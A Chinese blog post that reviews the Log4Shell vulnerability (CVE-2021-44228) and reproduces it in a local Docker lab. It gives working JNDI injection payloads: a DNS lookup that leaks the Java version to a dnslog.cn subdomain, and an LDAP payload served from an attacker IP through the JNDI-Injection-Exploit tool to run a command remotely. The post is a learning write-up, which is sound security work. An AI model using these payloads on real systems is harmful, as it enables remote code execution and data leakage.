log4j2漏洞学习

2023/09/17 漏洞分析

Log4Shell漏洞分析和复现

一、漏洞回顾

Log4Shell 漏洞最早是阿里巴巴安全研究员 Chen Zhaojun 早在 2021 年 12 月 10 日发布(早在 11 月 24 日已发现上报),漏洞编号CVE-2021-44228。影响 log4j2 2.0-beta9 到 2.15.0 多个版本,攻击者利用 log4j2 写日志时注入 jndi lookup 链接并执行远程命令。鉴于 log4j2 在 Java 生态圈的广泛使用,该漏洞一发现就妥妥到零日漏洞,CVSS(Common Vulnerability Scoring System)评级系统中最严重的 10.

不少同行一定对当初加班紧急修复该漏洞记忆犹新。修复过程中也一波三折,衍生了 CVE-2021-45046,CVE-2021-45105,CVE-2021-44832 等漏洞,最终在 log4j2 2.17.1 版本修复。

二、漏洞复现

本文主要基于最初的漏洞在 log4j2 2.14.1 版本进行复现。主要内容包括:

  1. 通过 docker 容器复现漏洞应用
  2. 通过 jndi dnslog 模拟带外攻击执行系统属性查询
  3. 通过 jndi lookup 远程命令执行

2.1 复现漏洞应用

复现漏洞依赖 JDK 版本和 log4j2 版本,一般通过容器镜像来比较方便。从网上找了一个应用 fork 出来漏洞应用

  • JDK:8u102
  • log4j2: 2.14.1

运行应用有两种方式:

方式 1

cd CVE-2021-44228-VULN-APP/
docker build -t log4j-shell-poc .
docker run -p 8082:8080 log4j-shell-poc

方式 2(需要本地安装 Docker Desktop)

docker pull nu11secur1ty/log4j-vuln-application
docker run  -p 8082:8080 nu11secur1ty/log4j-vuln-application

外部通过http://localhost:8082/来访问。显示如下:

2.2 dnslog 攻击

利用 dnslog 可以进行一种 OOB(Out Of Band)攻击。这里所谓的带外指的是不同与原本的业务请求响应数据路径,比如这里的 DNS 请求路径。

OOB 攻击依赖 DNS 泛域名解析。简单来说泛域名解析指的是*.t831at.dnslog.cn 都会解析到域名 t831at.dnslog.cn 上。通过查看 t831at.dnslog.cn 的域名解析日志就可以看到 dns 查询命令执行的结果。

具体步骤如下:

  1. 登陆http://www.dnslog.cn/
  2. 点击“Get SubDomain"比如得到域名“t831at.dnslog.cn”
  3. 在 2.1 部分部署的漏洞应用页面输入
    • Username: ${jndi:dns://${sys:java.version}.t831at.dnslog.cn}
    • Password: password
  4. http://www.dnslog.cn/页面点击“Refresh Record"。可以看到 1.8.0_102.t831at.dnslog.cn 中最前面的1.8.0_102就是漏洞应用的 JDK 版本。

sys:java.versionjava.version可以替换为操作系统名和版本,用户名和目录等系统环境信息。具体可以参考系统属性

jndi 命令执行

这里需要用到一个工具应用JNDI-Injection-Exploit,这个应用会生成 jndi 远程服务,提供命令给漏洞应用来下载并在漏洞应用中执行。

比如我们需要在漏洞应用中写入一个文件/tmp/success.txt。操作步骤如下:

  1. 从 github 下载代码并构建启动服务
git clone git@github.com:shidongwa/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit.git
mvn clean package
cd target
# 假设192.168.10.104是攻击者服务器ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success.txt" -A "192.168.10.104"
  1. 我们是 java 8,从上面服务的启动日志中获取 jndi 服务地址ldap://192.168.10.104:1389/5jqrji。攻击 payload 是${jndi:ldap://192.168.10.104:1389/5jqrji}

  1. 在 2.1 部分部署的漏洞应用页面输入
    • Username: ${jndi:ldap://192.168.10.104:1389/5jqrji}
    • Password: password
  2. 在漏洞主机中验证/tmp/success.txt 确实已写入
docker container ls
docker exec -it 95fc bash
ls -al /tmp/success.txt

三、总结

通过对 log4j2 漏洞进行了回顾和复现,学习了 log4j2 jndi lookup 功能调用 ldap、dns 执行远程命令。对反弹 shell 和 rmi 等本文未涉及。

Search

    Table of Contents